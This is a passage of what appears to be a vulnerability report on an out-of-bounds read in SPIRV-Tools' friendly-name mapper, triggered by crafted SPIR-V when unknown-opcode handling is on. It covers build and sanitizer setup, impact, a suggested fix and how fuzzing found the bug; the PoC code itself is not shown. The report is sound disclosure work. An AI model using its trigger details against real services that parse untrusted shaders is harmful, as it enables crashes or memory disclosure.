that uses the FRIENDLY_NAMES feature with HANDLE_UNKNOWN_OPCODES
fallback) would.
Repro program (
repro.cc)Build commands
git clone https://github.com/KhronosGroup/SPIRV-Tools.git sources/spirv-tools git -C sources/spirv-tools/external clone \ https://github.com/KhronosGroup/SPIRV-Headers.git spirv-headers git -C sources/spirv-tools checkout ff5c50339cc1e9f34f04cb440a3e5fe89db0161d mkdir -p sources/spirv-tools/build-asan cd sources/spirv-tools/build-asan cmake .. \ -DCMAKE_BUILD_TYPE=RelWithDebInfo \ -DSPIRV_WERROR=OFF \ -DSPIRV_SKIP_TESTS=ON \ -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \ -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \ -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" cmake --build . --target SPIRV-Tools-static -j"$(nproc)" cd ../../.. clang++ -std=c++17 -fsanitize=address -g -O1 -fno-omit-frame-pointer \ -I sources/spirv-tools/include \ repro.cc \ sources/spirv-tools/build-asan/source/libSPIRV-Tools.a \ -lpthread \ -o reproGenerate
poc.binRun the
generate_poc.pyshown in the PoC section, then strip the3 trailing FuzzedDataProvider option bytes to obtain the raw SPIR-V
word stream the public-API repro consumes:
Run
Sanitizer output (top frames, 3/3 deterministic):
The harness-side and production-side traces share the identical top
frame (
FriendlyNameMapper::ParseInstructionatsource/name_mapper.cpp:268:47), allocation-size (32-byte region),and offset (
0 bytes after).Impact
spvBinaryToTextthat sets bothSPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMESandSPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODESis exposed when handed attacker-supplied SPIR-V.spirv-tools/source/name_mapper.cpp/spvtools::FriendlyNameMapper::ParseInstructionKhronosGroup/SPIRV-Toolsat commitff5c50339cc1e9f34f04cb440a3e5fe89db0161d("spirv-val: Add validation for 4-bit integer types (#6644)"). The bug is a long-standing missing-precondition in code that pre-dates the HANDLE_UNKNOWN_OPCODES retry path; the retry path inbinary.cpp:409-411and the unguarded subscripts inname_mapper.cppare both present inmain.Suggested Fix
The least-invasive fix is in
source/binary.cpp: when theunknown-opcode fallback dispatches the callback, the parser must
still satisfy the same operand-count contract it normally enforces at
source/binary.cpp:417-422— specifically,inst.num_wordsmust beat least the grammar's mandatory-operand count for the recognised
opcode (
OpTypePointer's opcode IS recognised; only the StorageClassoperand was unknown). Either:
emitAsUnknown(), refuse to dispatch the callback when thedeclared
inst_word_countis below the grammar's minimum for theknown opcode and return a diagnostic instead.
FriendlyNameMapper::ParseInstructionto checkinst.num_wordsbefore subscripting
words— mirroring the pattern already used inthe
OpDecoratearm (source/name_mapper.cpp:178,assert(inst.num_words > 3);).Sketch of (2), one-line guard at the OpTypePointer arm (full fix
should cover OpTypeVector / OpTypeMatrix / OpTypeArray /
OpTypeRuntimeArray / OpTypeNodePayloadArrayAMDX /
OpTypeUntypedPointerKHR / OpTypePipe symmetrically):
Approach (1) is preferred because it fixes every consumer of
spv_parsed_instruction_fn_tat once (validator, disassembler,optimizer, future callers) and keeps the existing invariant that
"if the parser hands you an
inst, all ofinst.words[0..num_words)are addressable AND the declared word count is at least the grammar
minimum for
inst.opcode." The retry-as-unknown path silentlyviolates the second half of that invariant today.
Fuzz Harness Source
Compiled with
clang++ -fsanitize=fuzzer,address -std=c++17 -g -O1 -fno-omit-frame-pointeragainst the four ASan-built static libraries(
libSPIRV-Tools.a,libSPIRV-Tools-opt.a,libSPIRV-Tools-link.a,libSPIRV-Tools-reduce.a) wrapped in-Wl,--start-group ... -Wl,--end-group -pthread. Includes pull fromsources/spirv-tools/{include,external/spirv-headers/include,build/include}.Corpus: SPIR-V module fuzzing seeds (4-byte aligned word streams with
the SPIR-V magic
0x07230203). No specialASAN_OPTIONSoverrides;no fork-mode flags.
Discovery
spirv_dis_extended_options_fuzzer.cc(see "Fuzz Harness Source" above)